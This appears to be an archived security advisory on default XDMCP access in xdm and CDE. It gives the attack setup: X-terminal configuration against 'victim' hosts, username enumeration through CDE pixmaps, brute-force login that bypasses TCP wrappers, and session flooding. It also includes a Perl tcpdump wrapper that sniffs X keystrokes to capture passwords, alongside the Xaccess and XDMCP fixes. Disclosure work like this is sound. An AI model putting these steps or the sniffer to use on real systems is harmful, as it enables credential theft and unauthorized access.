COMMAND

    xdm and CDE

SYSTEMS AFFECTED

    Most systems

PROBLEM

    Eric Augustus posted following.   Most implementations of xdm  and
    CDE allow any host XDMCP connection access by default. This, in of
    itself,  is  usually  not  a  problem  since  a valid username and
    password  is  still  required   for  login.  However,  for   hosts
    configured to use  TCP wrappers or  Secure Shell with  host access
    control (hosts.{allow,deny}), or have disabled remote login access
    altogether, the  default xdm  and CDE  configuration allows access
    that bypasses  these controls.   Using a  host configured  as an X
    terminal (see details below), an  XDMCP connection can be made  to
    get a login window.   The attacking host can  then launch a  brute
    force attempt  to login.   Most operating  systems do  not log the
    failed attempts.  Also, xdm  and CDE  ignore which  device root is
    allowed to  login, so  root can  login remotely  where root  would
    normally be restricted to console login only.

    Verifying valid  usernames can  be done  on hosts  running CDE for
    those users NOT using  the default CDE desktop,  like OpenWindows.
    The CDE  login window  displays a  pixmap of  the last desktop the
    user used.  Trying different  usernames and seeing if the  desktop
    pixmap changes indicates the username is valid.

    Exploit (credit goes to Simon Greaves for his tips on how to setup
    your host  as an  X terminal)  follows.   Setup your  host as an X
    terminal  to  connect  to  another  host  via  XDMCP  by doing the
    following.

    For most xdm and CDE installations:

        1. Remove, or comment, the local display line in the  Xservers
           file.    For   SunOS   and   Solaris,   it's   located   in
           /usr/openwin/lib/xdm; for RedHat Linux (and probably others
           using  XFree86),  it's  in  /etc/X11/xdm;  for  CDE,   copy
           /usr/dt/config/Xservers  to   /etc/dt/config/Xservers   and
           modify;  for  other  systems  look  in  /usr/lib/X11/xdm or
           /usr/X11/lib/xdm.

        2. Configure chooser  entries in the  Xaccess file to  include
           the victim host.  (For CDE, copy  /usr/dt/config/Xaccess to
           /etc/dt/config/Xaccess before modifying.)
        %hostlist       victim1 victim2
        *               CHOOSER %hostlist       #

        3.  Start  xdm  (or  CDE)  and  the  X  server. Note: Kill the
           current X server if it is running.

        $> cd /usr/openwin/lib/xdm
        $> xdm -config xdm-config
        $> X -indirect victim1

    For CDE (on Solaris 2.x):

        $> /etc/rc2.d/S99dtlogin start
        $> X -indirect victim1

    If the connection  is successful, you  should see a  popup chooser
    window with a list of hostnames that allow connections.  Selecting
    one of the hostnames gives the remote host's login screen.  Again,
    login still requires a valid username and password for access.

    That was 26 Nov 1997.  However, this warning seemed to have little
    effect as  (at least)  Digital Unix  4.0E, SuSE  Linux 6.1 and Red
    Hat  Linux  6.0  are  still  (1.5  years  later) shipped with this
    default Xaccess  file.   It is  somehow ironic  that e.g. SuSE now
    uses  tcpwrappers  by  default  on  most  TCP  services  in   it's
    distribution and describes the use of tcpwrappers in the manual in
    a special  chapter about  security, but  fails to  close (or  even
    mention) that way to circumvent login restrictions.

    If  you  think  that  using  the  cryptographically secured remote
    management channels  with access  limited to  authorized hosts  on
    your AltaVista  Firewall under  Digital Unix  is the  only way  of
    doing remote administration of the firewall, then you should  take
    a close look at your Xaccess file.

    Following  was  addwd  by  Dave  Plonka.   See  attached "proof of
    concept" script  that he  used to  demonstrate this  to admins who
    were under the impression that X-based logins were somehow  secure
    from login/password sniffing.  It's  a quick hack but worked  with
    an  XFree86  server  logging  in  via  Solaris  2.6 dtlogin. YMMV.
    (I.e.  please don't tell me that it doesn't work - it was  written
    for one-time use... the X  KeyCodes in the script can  be modified
    for your target X server.)   The script arguments are just  passed
    allong to tcpdump, so usage is something like:

        $ xtcptrace src xterminal and dst loginhost

    Secondly,  for  CDE  environments  such  as  Solaris, which use an
    xdm-derived model,  here's a  bit of  detail about  how folks  can
    restrict X login access:

    1) If  "/etc/dt/config/Xaccess"  doesn't  exist,  copy  it    from
       "/usr/dt/config".   Comment-out  this  line  (as  show here) of
       "/etc/dt/config/Xacccess":

        #*               CHOOSER BROADCAST       #any indirect host    can get a chooser

       Then you can add specific  X servers by hostname or  IP address
       at the end of the "Xaccess" file.

    2) send SIGHUP to the *parent* dtlogin daemon process.

    For further details see the section labeled "The Xaccess File"  in
    the dtlogin(1) man page.  Code follows:

    #! /usr/local/bin/perl

    # xtcptrace - a tcpdump "wrapper" to decode X KeyCodes
    # Dave Plonka <plonka@doit.wisc.edu>, Aug 27  1998

    $tcpdump='/path/to/tcpdump';

    if (! -x ${tcpdump}) {
       print STDERR "You don't seem to have execute permission on \"${tcpdump}\".\n";
       exit 1
    }

    # X KeyCodes...  These can be determined using xkeycaps(1), for example.
    # I assume these are well documented somewhere.
    # Remember we're watching key presses here, not the resulting X KeySym or
    # ASCII character.  So a '[SHIFT]' preceeding an 'A' is probably a capital
    # letter A, etc.
    %code = (
    0x0A => '1', 0x0B => '2', 0x0C => '3', 0x0D => '4',
    0x0E => '5', 0x0F => '6', 0x10 => '7', 0x11 => '8',
    0x12 => '9', 0x13 => '0', 0x26 => 'A', 0x38 => 'B',
    0x36 => 'C', 0x28 => 'D', 0x1A => 'E', 0x29 => 'F',
    0x2A => 'G', 0x2B => 'H', 0x1F => 'I', 0x2C => 'J',
    0x2D => 'K', 0x2E => 'L', 0x3A => 'M', 0x39 => 'N',
    0x20 => 'O', 0x21 => 'P', 0x18 => 'Q', 0x1B => 'R',
    0x27 => 'S', 0x1C => 'T', 0x1E => 'U', 0x37 => 'V',
    0x19 => 'W', 0x35 => 'X', 0x1D => 'Y', 0x34 => 'Z',
    0x40 => '[ALT]', 0x41 => ' ', 0x42 => '[CAPS LOCK]', 0x32 => '[SHIFT]',
    0x24 => '[RETURN]', 0x16 => '[BACK SPACE]',
    );

    open(STDIN, "${tcpdump} -l -x -s 65535 -v @ARGV|") || die;
    select(STDIN); $| = 1;
    select(STDOUT); $| = 1;
    while (<STDIN>) {
       # This is a total kludge below - we only look at 32 byte packets since
       # that is the size of an xEvent.  However, we may miss some events because
       # they can be grouped together in one packet.  So really, any multiple of
       # 32 (e.g. 64, 96) could also contain xEvents.
       if (m/^\d\d:\d\d:\d\d\.\d+\s+.*\.6000\s+>\s+.*\(32\)/) {
          scalar(<STDIN>); # discard
          scalar(<STDIN>); # discard
          $_ = scalar(<STDIN>);
          # Another kludge - the magic numbers in the line below (0x5018,  0x7d78,
          # etc.) were discovered by watching xEvents with tcpdump(1).  I don't
          # know that they'll have those values from all X servers or what.
          # Probably, the xEvent typedef struct, as defined in <X11/Xproto.h>,
          # should be grokked to implement this correctly.
          # The Right Thing(tm) would probably be to pack the packet content as
          # a 32-byte scalar, then unpack it into it's appropriate structure
          # members.
          if (m/5018\s+7d78\s+[0-9a-f][0-9a-f][0-9a-f][0-9a-f]\s+0000\s+03([0-9a-f][0-9a-f])/) {
	     if ($c = $code{hex($1)}) {
	        print "$c\n"
	     } else {
	        print "KeyCode 0x$1\n"
	     }
          }
       }
    }

exit

SOLUTION

    Solution:  Filter port 177/udp at the router, or edit Xaccess  and
    precede hostname or pattern entries  with '!' to exclude them,  or
    include only those hosts allowed to connect to the display.

    Default Xaccess file:

    [snip]
    # In all cases, xdm uses the first entry which matches the terminal;
    # for IndirectQuery messages only entries with right hand sides can
    # match, for Direct and Broadcast Query messages, only entries without
    # right hand sides can match.
    #

    *                                       #any host can get a login window

    #
    # The nicest way to run the chooser is to just ask it to broadcast
    # requests to the network - that way new hosts show up automatically.
    # Sometimes, however, the chooser can't figure out how to broadcast,
    # so this may not work in all environments.
    #

    *               CHOOSER BROADCAST       #any indirect host can get a
[snip]

    Change to:

    [snip]
    # In all cases, xdm uses the first entry which matches the terminal;
    # for IndirectQuery messages only entries with right hand sides can
    # match, for Direct and Broadcast Query messages, only entries without
    # right hand sides can match.
    #

    !*                                       #any host can get a login window

    #
    # The nicest way to run the chooser is to just ask it to broadcast
    # requests to the network - that way new hosts show up automatically.
    # Sometimes, however, the chooser can't figure out how to broadcast,
    # so this may not work in all environments.
    #

    !*               CHOOSER BROADCAST       #any indirect host can get a
    [snip]

    Digital Unix  4.0x with  C2 security  enabled, does  not have this
    problem.  You  get a "Cannot  obtain database information  on this
    terminal" message box when trying to login from an X server  which
    is not  authorized in  the /etc/auth/system/ttys  database.   Even
    more fun, just open 1024 xdcmp sessions with a remote xdm on a low
    spec  box.   Xdm  doesnt  like  this.  Gdm  at  least  does damage
    limitation in this case.  On the Red Hat side, for a standard  Red
    Hat 6 using gdm not xdm, edit /etc/X11/gdm.conf and set it to

        [xdcmp]
        Enable=0

    and  life  is  happier.   Regular  xdm  has  an equivalent switch,
    though it's not documented anywhere  but in the source code.   Add
    the following resource to  your xdm-config file (usually  found in
    the X11R6 tree in lib/X11/xdm):

        ! SECURITY: do not listen for XDMCP or Chooser requests
        DisplayManager.requestPort:     0

    Or, start xdm with the flag '-udpPort 0'.

    To be fair,  it should be  noted that the  CDE dtlogin that  ships
    with  Solaris  (at  least  >=  2.6)  does  _not_  suffer from this
    vulnerability.   While  it  is  true  that  by  default  anyone is
    allowed to log in remotely,  for remote root login dtlogin  checks
    /etc/default/login, just like /bin/login does.